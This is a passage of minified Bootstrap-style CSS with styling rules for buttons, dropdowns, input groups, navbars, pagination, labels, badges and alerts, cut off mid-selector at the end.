.badge{color:#f0ad4e;background-color:#fff}.btn-danger{color:#fff;background-color:#d9534f;border-color:#d43f3a}.btn-danger.active,.btn-danger.focus,.btn-danger:active,.btn-danger:focus,.btn-danger:hover,.open>.dropdown-toggle.btn-danger{color:#fff;background-color:#c9302c;border-color:#ac2925}.btn-danger.active,.btn-danger:active,.open>.dropdown-toggle.btn-danger{background-image:none}.btn-danger.disabled,.btn-danger.disabled.active,.btn-danger.disabled.focus,.btn-danger.disabled:active,.btn-danger.disabled:focus,.btn-danger.disabled:hover,.btn-danger[disabled],.btn-danger[disabled].active,.btn-danger[disabled].focus,.btn-danger[disabled]:active,.btn-danger[disabled]:focus,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger,fieldset[disabled] .btn-danger.active,fieldset[disabled] .btn-danger.focus,fieldset[disabled] .btn-danger:active,fieldset[disabled] .btn-danger:focus,fieldset[disabled] .btn-danger:hover{background-color:#d9534f;border-color:#d43f3a}.btn-danger .badge{color:#d9534f;background-color:#fff}.btn-link{font-weight:400;color:#337ab7;border-radius:0}.btn-link,.btn-link.active,.btn-link:active,.btn-link[disabled],fieldset[disabled] .btn-link{background-color:transparent;-webkit-box-shadow:none;box-shadow:none}.btn-link,.btn-link:active,.btn-link:focus,.btn-link:hover{border-color:transparent}.btn-link:focus,.btn-link:hover{color:#23527c;text-decoration:underline;background-color:transparent}.btn-link[disabled]:focus,.btn-link[disabled]:hover,fieldset[disabled] .btn-link:focus,fieldset[disabled] .btn-link:hover{color:#777;text-decoration:none}.btn-group-lg>.btn,.btn-lg{padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}.btn-group-sm>.btn,.btn-sm{padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.btn-group-xs>.btn,.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;border-radius:3px}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:5px}input[type=button].btn-block,input[type=reset].btn-block,input[type=submit].btn-block{width:100%}.fade{opacity:0;-webkit-transition:opacity .15s linear;-o-transition:opacity .15s linear;transition:opacity .15s linear}.fade.in{opacity:1}.collapse{display:none}.collapse.in{display:block}tr.collapse.in{display:table-row}tbody.collapse.in{display:table-row-group}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition-timing-function:ease;-o-transition-timing-function:ease;transition-timing-function:ease;-webkit-transition-duration:.35s;-o-transition-duration:.35s;transition-duration:.35s;-webkit-transition-property:height,visibility;-o-transition-property:height,visibility;transition-property:height,visibility}.caret{display:inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px dashed;border-right:4px solid transparent;border-left:4px solid transparent}.dropdown,.dropup{position:relative}.dropdown-toggle:focus{outline:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;font-size:14px;text-align:left;list-style:none;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0,0,0,.15);border-radius:4px;-webkit-box-shadow:0 6px 12px rgba(0,0,0,.175);box-shadow:0 6px 12px rgba(0,0,0,.175)}.dropdown-menu.pull-right{right:0;left:auto}.dropdown-menu .divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:400;line-height:1.42857143;color:#333;white-space:nowrap}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{color:#262626;text-decoration:none;background-color:#f5f5f5}.dropdown-menu>.active>a,.dropdown-menu>.active>a:focus,.dropdown-menu>.active>a:hover{color:#fff;text-decoration:none;background-color:#337ab7;outline:0}.dropdown-menu>.disabled>a,.dropdown-menu>.disabled>a:focus,.dropdown-menu>.disabled>a:hover{color:#777}.dropdown-menu>.disabled>a:focus,.dropdown-menu>.disabled>a:hover{text-decoration:none;cursor:not-allowed;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.open>.dropdown-menu{display:block}.open>a{outline:0}.dropdown-menu-right{right:0;left:auto}.dropdown-menu-left{right:auto;left:0}.dropdown-header{display:block;padding:3px 20px;font-size:12px;line-height:1.42857143;color:#777;white-space:nowrap}.dropdown-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:990}.pull-right>.dropdown-menu{right:0;left:auto}.dropup .caret,.navbar-fixed-bottom .dropdown .caret{content:"";border-top:0;border-bottom:4px solid}.dropup .dropdown-menu,.navbar-fixed-bottom .dropdown .dropdown-menu{top:auto;bottom:100%;margin-bottom:2px}@media (min-width:768px){.navbar-right .dropdown-menu{right:0;left:auto}.navbar-right .dropdown-menu-left{right:auto;left:0}}.btn-group,.btn-group-vertical{position:relative;display:inline-block;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;float:left}.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group-vertical>.btn:hover,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus,.btn-group>.btn:hover{z-index:2}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group{margin-left:-1px}.btn-toolbar{margin-left:-5px}.btn-toolbar .btn-group,.btn-toolbar .input-group{float:left}.btn-toolbar>.btn,.btn-toolbar>.btn-group,.btn-toolbar>.input-group{margin-left:5px}.btn-group>.btn:not(:first-child):not(:last-child):not(.dropdown-toggle){border-radius:0}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn:last-child:not(:first-child),.btn-group>.dropdown-toggle:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.btn-group>.btn-group{float:left}.btn-group>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-left-radius:0;border-bottom-left-radius:0}.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle{outline:0}.btn-group>.btn+.dropdown-toggle{padding-right:8px;padding-left:8px}.btn-group>.btn-lg+.dropdown-toggle{padding-right:12px;padding-left:12px}.btn-group.open .dropdown-toggle{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-group.open .dropdown-toggle.btn-link{-webkit-box-shadow:none;box-shadow:none}.btn .caret{margin-left:0}.btn-lg .caret{border-width:5px 5px 0;border-bottom-width:0}.dropup .btn-lg .caret{border-width:0 5px 5px}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group,.btn-group-vertical>.btn-group>.btn{display:block;float:none;width:100%;max-width:100%}.btn-group-vertical>.btn-group>.btn{float:none}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0}.btn-group-vertical>.btn:not(:first-child):not(:last-child){border-radius:0}.btn-group-vertical>.btn:first-child:not(:last-child){border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn:last-child:not(:first-child){border-top-left-radius:0;border-top-right-radius:0;border-bottom-left-radius:4px}.btn-group-vertical>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group-vertical>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group-vertical>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-left-radius:0;border-top-right-radius:0}.btn-group-justified{display:table;width:100%;table-layout:fixed;border-collapse:separate}.btn-group-justified>.btn,.btn-group-justified>.btn-group{display:table-cell;float:none;width:1%}.btn-group-justified>.btn-group .btn{width:100%}.btn-group-justified>.btn-group .dropdown-menu{left:auto}[data-toggle=buttons]>.btn input[type=checkbox],[data-toggle=buttons]>.btn input[type=radio],[data-toggle=buttons]>.btn-group>.btn input[type=checkbox],[data-toggle=buttons]>.btn-group>.btn input[type=radio]{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.input-group{position:relative;display:table;border-collapse:separate}.input-group[class*=col-]{float:none;padding-right:0;padding-left:0}.input-group .form-control{position:relative;z-index:2;float:left;width:100%;margin-bottom:0}.input-group-lg>.form-control,.input-group-lg>.input-group-addon,.input-group-lg>.input-group-btn>.btn{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}select.input-group-lg>.form-control,select.input-group-lg>.input-group-addon,select.input-group-lg>.input-group-btn>.btn{height:46px;line-height:46px}select[multiple].input-group-lg>.form-control,select[multiple].input-group-lg>.input-group-addon,select[multiple].input-group-lg>.input-group-btn>.btn,textarea.input-group-lg>.form-control,textarea.input-group-lg>.input-group-addon,textarea.input-group-lg>.input-group-btn>.btn{height:auto}.input-group-sm>.form-control,.input-group-sm>.input-group-addon,.input-group-sm>.input-group-btn>.btn{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}select.input-group-sm>.form-control,select.input-group-sm>.input-group-addon,select.input-group-sm>.input-group-btn>.btn{height:30px;line-height:30px}select[multiple].input-group-sm>.form-control,select[multiple].input-group-sm>.input-group-addon,select[multiple].input-group-sm>.input-group-btn>.btn,textarea.input-group-sm>.form-control,textarea.input-group-sm>.input-group-addon,textarea.input-group-sm>.input-group-btn>.btn{height:auto}.input-group .form-control,.input-group-addon,.input-group-btn{display:table-cell}.input-group .form-control:not(:first-child):not(:last-child),.input-group-addon:not(:first-child):not(:last-child),.input-group-btn:not(:first-child):not(:last-child){border-radius:0}.input-group-addon,.input-group-btn{width:1%;white-space:nowrap;vertical-align:middle}.input-group-addon{padding:6px 12px;font-size:14px;font-weight:400;line-height:1;color:#555;text-align:center;background-color:#eee;border:1px solid #ccc;border-radius:4px}.input-group-addon.input-sm{padding:5px 10px;font-size:12px;border-radius:3px}.input-group-addon.input-lg{padding:10px 16px;font-size:18px;border-radius:6px}.input-group-addon input[type=checkbox],.input-group-addon input[type=radio]{margin-top:0}.input-group .form-control:first-child,.input-group-addon:first-child,.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group>.btn,.input-group-btn:first-child>.dropdown-toggle,.input-group-btn:last-child>.btn-group:not(:last-child)>.btn,.input-group-btn:last-child>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.input-group-addon:first-child{border-right:0}.input-group .form-control:last-child,.input-group-addon:last-child,.input-group-btn:first-child>.btn-group:not(:first-child)>.btn,.input-group-btn:first-child>.btn:not(:first-child),.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group>.btn,.input-group-btn:last-child>.dropdown-toggle{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-addon:last-child{border-left:0}.input-group-btn{position:relative;font-size:0;white-space:nowrap}.input-group-btn>.btn{position:relative}.input-group-btn>.btn+.btn{margin-left:-1px}.input-group-btn>.btn:active,.input-group-btn>.btn:focus,.input-group-btn>.btn:hover{z-index:2}.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group{margin-right:-1px}.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group{margin-left:-1px}.nav{padding-left:0;margin-bottom:0;list-style:none}.nav>li{position:relative;display:block}.nav>li>a{position:relative;display:block;padding:10px 15px}.nav>li>a:focus,.nav>li>a:hover{text-decoration:none;background-color:#eee}.nav>li.disabled>a{color:#777}.nav>li.disabled>a:focus,.nav>li.disabled>a:hover{color:#777;text-decoration:none;cursor:not-allowed;background-color:transparent}.nav .open>a,.nav .open>a:focus,.nav .open>a:hover{background-color:#eee;border-color:#337ab7}.nav .nav-divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.nav>li>a>img{max-width:none}.nav-tabs{border-bottom:1px solid #ddd}.nav-tabs>li{float:left;margin-bottom:-1px}.nav-tabs>li>a{margin-right:2px;line-height:1.42857143;border:1px solid transparent;border-radius:4px 4px 0 0}.nav-tabs>li>a:hover{border-color:#eee #eee #ddd}.nav-tabs>li.active>a,.nav-tabs>li.active>a:focus,.nav-tabs>li.active>a:hover{color:#555;cursor:default;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent}.nav-tabs.nav-justified{width:100%;border-bottom:0}.nav-tabs.nav-justified>li{float:none}.nav-tabs.nav-justified>li>a{margin-bottom:5px;text-align:center}.nav-tabs.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-tabs.nav-justified>li{display:table-cell;width:1%}.nav-tabs.nav-justified>li>a{margin-bottom:0}}.nav-tabs.nav-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:focus,.nav-tabs.nav-justified>.active>a:hover{border:1px solid #ddd}@media (min-width:768px){.nav-tabs.nav-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:focus,.nav-tabs.nav-justified>.active>a:hover{border-bottom-color:#fff}}.nav-pills>li{float:left}.nav-pills>li>a{border-radius:4px}.nav-pills>li+li{margin-left:2px}.nav-pills>li.active>a,.nav-pills>li.active>a:focus,.nav-pills>li.active>a:hover{color:#fff;background-color:#337ab7}.nav-stacked>li{float:none}.nav-stacked>li+li{margin-top:2px;margin-left:0}.nav-justified{width:100%}.nav-justified>li{float:none}.nav-justified>li>a{margin-bottom:5px;text-align:center}.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-justified>li{display:table-cell;width:1%}.nav-justified>li>a{margin-bottom:0}}.nav-tabs-justified{border-bottom:0}.nav-tabs-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:focus,.nav-tabs-justified>.active>a:hover{border:1px solid #ddd}@media (min-width:768px){.nav-tabs-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:focus,.nav-tabs-justified>.active>a:hover{border-bottom-color:#fff}}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.navbar{position:relative;min-height:50px;margin-bottom:20px;border:1px solid transparent}@media (min-width:768px){.navbar{border-radius:4px}}@media (min-width:768px){.navbar-header{float:left}}.navbar-collapse{padding-right:15px;padding-left:15px;overflow-x:visible;-webkit-overflow-scrolling:touch;border-top:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 0 rgba(255,255,255,.1)}.navbar-collapse.in{overflow-y:auto}@media (min-width:768px){.navbar-collapse{width:auto;border-top:0;-webkit-box-shadow:none;box-shadow:none}.navbar-collapse.collapse{display:block!important;height:auto!important;padding-bottom:0;overflow:visible!important}.navbar-collapse.in{overflow-y:visible}.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse,.navbar-static-top .navbar-collapse{padding-right:0;padding-left:0}}.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse{max-height:340px}@media (max-device-width:480px)and (orientation:landscape){.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse{max-height:200px}}.container-fluid>.navbar-collapse,.container-fluid>.navbar-header,.container>.navbar-collapse,.container>.navbar-header{margin-right:-15px;margin-left:-15px}@media (min-width:768px){.container-fluid>.navbar-collapse,.container-fluid>.navbar-header,.container>.navbar-collapse,.container>.navbar-header{margin-right:0;margin-left:0}}.navbar-static-top{z-index:1000;border-width:0 0 1px}@media (min-width:768px){.navbar-static-top{border-radius:0}}.navbar-fixed-bottom,.navbar-fixed-top{position:fixed;right:0;left:0;z-index:1030}@media (min-width:768px){.navbar-fixed-bottom,.navbar-fixed-top{border-radius:0}}.navbar-fixed-top{top:0;border-width:0 0 1px}.navbar-fixed-bottom{bottom:0;margin-bottom:0;border-width:1px 0 0}.navbar-brand{float:left;height:50px;padding:15px 15px;font-size:18px;line-height:20px}.navbar-brand:focus,.navbar-brand:hover{text-decoration:none}.navbar-brand>img{display:block}@media (min-width:768px){.navbar>.container .navbar-brand,.navbar>.container-fluid .navbar-brand{margin-left:-15px}}.navbar-toggle{position:relative;float:right;padding:9px 10px;margin-top:8px;margin-right:15px;margin-bottom:8px;background-color:transparent;background-image:none;border:1px solid transparent;border-radius:4px}.navbar-toggle:focus{outline:0}.navbar-toggle .icon-bar{display:block;width:22px;height:2px;border-radius:1px}.navbar-toggle .icon-bar+.icon-bar{margin-top:4px}@media (min-width:768px){.navbar-toggle{display:none}}.navbar-nav{margin:7.5px -15px}.navbar-nav>li>a{padding-top:10px;padding-bottom:10px;line-height:20px}@media (max-width:767px){.navbar-nav .open .dropdown-menu{position:static;float:none;width:auto;margin-top:0;background-color:transparent;border:0;-webkit-box-shadow:none;box-shadow:none}.navbar-nav .open .dropdown-menu .dropdown-header,.navbar-nav .open .dropdown-menu>li>a{padding:5px 15px 5px 25px}.navbar-nav .open .dropdown-menu>li>a{line-height:20px}.navbar-nav .open .dropdown-menu>li>a:focus,.navbar-nav .open .dropdown-menu>li>a:hover{background-image:none}}@media (min-width:768px){.navbar-nav{float:left;margin:0}.navbar-nav>li{float:left}.navbar-nav>li>a{padding-top:15px;padding-bottom:15px}}.navbar-form{padding:10px 15px;margin-top:8px;margin-right:-15px;margin-bottom:8px;margin-left:-15px;border-top:1px solid transparent;border-bottom:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.1)}@media (min-width:768px){.navbar-form .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.navbar-form .form-control{display:inline-block;width:auto;vertical-align:middle}.navbar-form .form-control-static{display:inline-block}.navbar-form .input-group{display:inline-table;vertical-align:middle}.navbar-form .input-group .form-control,.navbar-form .input-group .input-group-addon,.navbar-form .input-group .input-group-btn{width:auto}.navbar-form .input-group>.form-control{width:100%}.navbar-form .control-label{margin-bottom:0;vertical-align:middle}.navbar-form .checkbox,.navbar-form .radio{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.navbar-form .checkbox label,.navbar-form .radio label{padding-left:0}.navbar-form .checkbox input[type=checkbox],.navbar-form .radio input[type=radio]{position:relative;margin-left:0}.navbar-form .has-feedback .form-control-feedback{top:0}}@media (max-width:767px){.navbar-form .form-group{margin-bottom:5px}.navbar-form .form-group:last-child{margin-bottom:0}}@media (min-width:768px){.navbar-form{width:auto;padding-top:0;padding-bottom:0;margin-right:0;margin-left:0;border:0;-webkit-box-shadow:none;box-shadow:none}}.navbar-nav>li>.dropdown-menu{margin-top:0;border-top-left-radius:0;border-top-right-radius:0}.navbar-fixed-bottom .navbar-nav>li>.dropdown-menu{margin-bottom:0;border-top-left-radius:4px;border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.navbar-btn{margin-top:8px;margin-bottom:8px}.navbar-btn.btn-sm{margin-top:10px;margin-bottom:10px}.navbar-btn.btn-xs{margin-top:14px;margin-bottom:14px}.navbar-text{margin-top:15px;margin-bottom:15px}@media (min-width:768px){.navbar-text{float:left;margin-right:15px;margin-left:15px}}@media (min-width:768px){.navbar-left{float:left!important}.navbar-right{float:right!important;margin-right:-15px}.navbar-right~.navbar-right{margin-right:0}}.navbar-default{background-color:#f8f8f8;border-color:#e7e7e7}.navbar-default .navbar-brand{color:#777}.navbar-default .navbar-brand:focus,.navbar-default .navbar-brand:hover{color:#5e5e5e;background-color:transparent}.navbar-default .navbar-text{color:#777}.navbar-default .navbar-nav>li>a{color:#777}.navbar-default .navbar-nav>li>a:focus,.navbar-default .navbar-nav>li>a:hover{color:#333;background-color:transparent}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.active>a:focus,.navbar-default .navbar-nav>.active>a:hover{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav>.disabled>a,.navbar-default .navbar-nav>.disabled>a:focus,.navbar-default .navbar-nav>.disabled>a:hover{color:#ccc;background-color:transparent}.navbar-default .navbar-toggle{border-color:#ddd}.navbar-default .navbar-toggle:focus,.navbar-default .navbar-toggle:hover{background-color:#ddd}.navbar-default .navbar-toggle .icon-bar{background-color:#888}.navbar-default .navbar-collapse,.navbar-default .navbar-form{border-color:#e7e7e7}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:focus,.navbar-default .navbar-nav>.open>a:hover{color:#555;background-color:#e7e7e7}@media (max-width:767px){.navbar-default .navbar-nav .open .dropdown-menu>li>a{color:#777}.navbar-default .navbar-nav .open .dropdown-menu>li>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>li>a:hover{color:#333;background-color:transparent}.navbar-default .navbar-nav .open .dropdown-menu>.active>a,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:hover{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:hover{color:#ccc;background-color:transparent}}.navbar-default .navbar-link{color:#777}.navbar-default .navbar-link:hover{color:#333}.navbar-default .btn-link{color:#777}.navbar-default .btn-link:focus,.navbar-default .btn-link:hover{color:#333}.navbar-default .btn-link[disabled]:focus,.navbar-default .btn-link[disabled]:hover,fieldset[disabled] .navbar-default .btn-link:focus,fieldset[disabled] .navbar-default .btn-link:hover{color:#ccc}.navbar-inverse{background-color:#222;border-color:#080808}.navbar-inverse .navbar-brand{color:#9d9d9d}.navbar-inverse .navbar-brand:focus,.navbar-inverse .navbar-brand:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-text{color:#9d9d9d}.navbar-inverse .navbar-nav>li>a{color:#9d9d9d}.navbar-inverse .navbar-nav>li>a:focus,.navbar-inverse .navbar-nav>li>a:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.active>a:focus,.navbar-inverse .navbar-nav>.active>a:hover{color:#fff;background-color:#080808}.navbar-inverse .navbar-nav>.disabled>a,.navbar-inverse .navbar-nav>.disabled>a:focus,.navbar-inverse .navbar-nav>.disabled>a:hover{color:#444;background-color:transparent}.navbar-inverse .navbar-toggle{border-color:#333}.navbar-inverse .navbar-toggle:focus,.navbar-inverse .navbar-toggle:hover{background-color:#333}.navbar-inverse .navbar-toggle .icon-bar{background-color:#fff}.navbar-inverse .navbar-collapse,.navbar-inverse .navbar-form{border-color:#101010}.navbar-inverse .navbar-nav>.open>a,.navbar-inverse .navbar-nav>.open>a:focus,.navbar-inverse .navbar-nav>.open>a:hover{color:#fff;background-color:#080808}@media (max-width:767px){.navbar-inverse .navbar-nav .open .dropdown-menu>.dropdown-header{border-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu .divider{background-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a{color:#9d9d9d}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:hover{color:#fff;background-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:hover{color:#444;background-color:transparent}}.navbar-inverse .navbar-link{color:#9d9d9d}.navbar-inverse .navbar-link:hover{color:#fff}.navbar-inverse .btn-link{color:#9d9d9d}.navbar-inverse .btn-link:focus,.navbar-inverse .btn-link:hover{color:#fff}.navbar-inverse .btn-link[disabled]:focus,.navbar-inverse .btn-link[disabled]:hover,fieldset[disabled] .navbar-inverse .btn-link:focus,fieldset[disabled] .navbar-inverse .btn-link:hover{color:#444}.breadcrumb{padding:8px 15px;margin-bottom:20px;list-style:none;background-color:#f5f5f5;border-radius:4px}.breadcrumb>li{display:inline-block}.breadcrumb>li+li:before{padding:0 5px;color:#ccc;content:"/\00a0"}.breadcrumb>.active{color:#777}.pagination{display:inline-block;padding-left:0;margin:20px 0;border-radius:4px}.pagination>li{display:inline}.pagination>li>a,.pagination>li>span{position:relative;float:left;padding:6px 12px;margin-left:-1px;line-height:1.42857143;color:#337ab7;text-decoration:none;background-color:#fff;border:1px solid #ddd}.pagination>li:first-child>a,.pagination>li:first-child>span{margin-left:0;border-top-left-radius:4px;border-bottom-left-radius:4px}.pagination>li:last-child>a,.pagination>li:last-child>span{border-top-right-radius:4px;border-bottom-right-radius:4px}.pagination>li>a:focus,.pagination>li>a:hover,.pagination>li>span:focus,.pagination>li>span:hover{color:#23527c;background-color:#eee;border-color:#ddd}.pagination>.active>a,.pagination>.active>a:focus,.pagination>.active>a:hover,.pagination>.active>span,.pagination>.active>span:focus,.pagination>.active>span:hover{z-index:2;color:#fff;cursor:default;background-color:#337ab7;border-color:#337ab7}.pagination>.disabled>a,.pagination>.disabled>a:focus,.pagination>.disabled>a:hover,.pagination>.disabled>span,.pagination>.disabled>span:focus,.pagination>.disabled>span:hover{color:#777;cursor:not-allowed;background-color:#fff;border-color:#ddd}.pagination-lg>li>a,.pagination-lg>li>span{padding:10px 16px;font-size:18px}.pagination-lg>li:first-child>a,.pagination-lg>li:first-child>span{border-top-left-radius:6px;border-bottom-left-radius:6px}.pagination-lg>li:last-child>a,.pagination-lg>li:last-child>span{border-top-right-radius:6px;border-bottom-right-radius:6px}.pagination-sm>li>a,.pagination-sm>li>span{padding:5px 10px;font-size:12px}.pagination-sm>li:first-child>a,.pagination-sm>li:first-child>span{border-top-left-radius:3px;border-bottom-left-radius:3px}.pagination-sm>li:last-child>a,.pagination-sm>li:last-child>span{border-top-right-radius:3px;border-bottom-right-radius:3px}.pager{padding-left:0;margin:20px 0;text-align:center;list-style:none}.pager li{display:inline}.pager li>a,.pager li>span{display:inline-block;padding:5px 14px;background-color:#fff;border:1px solid #ddd;border-radius:15px}.pager li>a:focus,.pager li>a:hover{text-decoration:none;background-color:#eee}.pager .next>a,.pager .next>span{float:right}.pager .previous>a,.pager .previous>span{float:left}.pager .disabled>a,.pager .disabled>a:focus,.pager .disabled>a:hover,.pager .disabled>span{color:#777;cursor:not-allowed;background-color:#fff}.label{display:inline;padding:.2em .6em .3em;font-size:75%;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25em}a.label:focus,a.label:hover{color:#fff;text-decoration:none;cursor:pointer}.label:empty{display:none}.btn .label{position:relative;top:-1px}.label-default{background-color:#777}.label-default[href]:focus,.label-default[href]:hover{background-color:#5e5e5e}.label-primary{background-color:#337ab7}.label-primary[href]:focus,.label-primary[href]:hover{background-color:#286090}.label-success{background-color:#5cb85c}.label-success[href]:focus,.label-success[href]:hover{background-color:#449d44}.label-info{background-color:#5bc0de}.label-info[href]:focus,.label-info[href]:hover{background-color:#31b0d5}.label-warning{background-color:#f0ad4e}.label-warning[href]:focus,.label-warning[href]:hover{background-color:#ec971f}.label-danger{background-color:#d9534f}.label-danger[href]:focus,.label-danger[href]:hover{background-color:#c9302c}.badge{display:inline-block;min-width:10px;padding:3px 7px;font-size:12px;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:baseline;background-color:#777;border-radius:10px}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.btn-group-xs>.btn .badge,.btn-xs .badge{top:0;padding:1px 5px}a.badge:focus,a.badge:hover{color:#fff;text-decoration:none;cursor:pointer}.list-group-item.active>.badge,.nav-pills>.active>a>.badge{color:#337ab7;background-color:#fff}.list-group-item>.badge{float:right}.list-group-item>.badge+.badge{margin-right:5px}.nav-pills>li>a>.badge{margin-left:3px}.jumbotron{padding:30px 15px;margin-bottom:30px;color:inherit;background-color:#eee}.jumbotron .h1,.jumbotron h1{color:inherit}.jumbotron p{margin-bottom:15px;font-size:21px;font-weight:200}.jumbotron>hr{border-top-color:#d5d5d5}.container .jumbotron,.container-fluid .jumbotron{border-radius:6px}.jumbotron .container{max-width:100%}@media screen and (min-width:768px){.jumbotron{padding:48px 0}.container .jumbotron,.container-fluid .jumbotron{padding-right:60px;padding-left:60px}.jumbotron .h1,.jumbotron h1{font-size:63px}}.thumbnail{display:block;padding:4px;margin-bottom:20px;line-height:1.42857143;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:border .2s ease-in-out;-o-transition:border .2s ease-in-out;transition:border .2s ease-in-out}.thumbnail a>img,.thumbnail>img{margin-right:auto;margin-left:auto}a.thumbnail.active,a.thumbnail:focus,a.thumbnail:hover{border-color:#337ab7}.thumbnail .caption{padding:9px;color:#333}.alert{padding:15px;margin-bottom:20px;border:1px solid transparent;border-radius:4px}.alert h4{margin-top:0;color:inherit}.alert .alert-link{font-weight:700}.alert>p,.alert>ul{margin-bottom:0}.alert>p+p{margin-top:5px}.alert-dismissable,.alert-dismissible{padding-right:35px}.alert-dismissable .close,.alert-dismissible 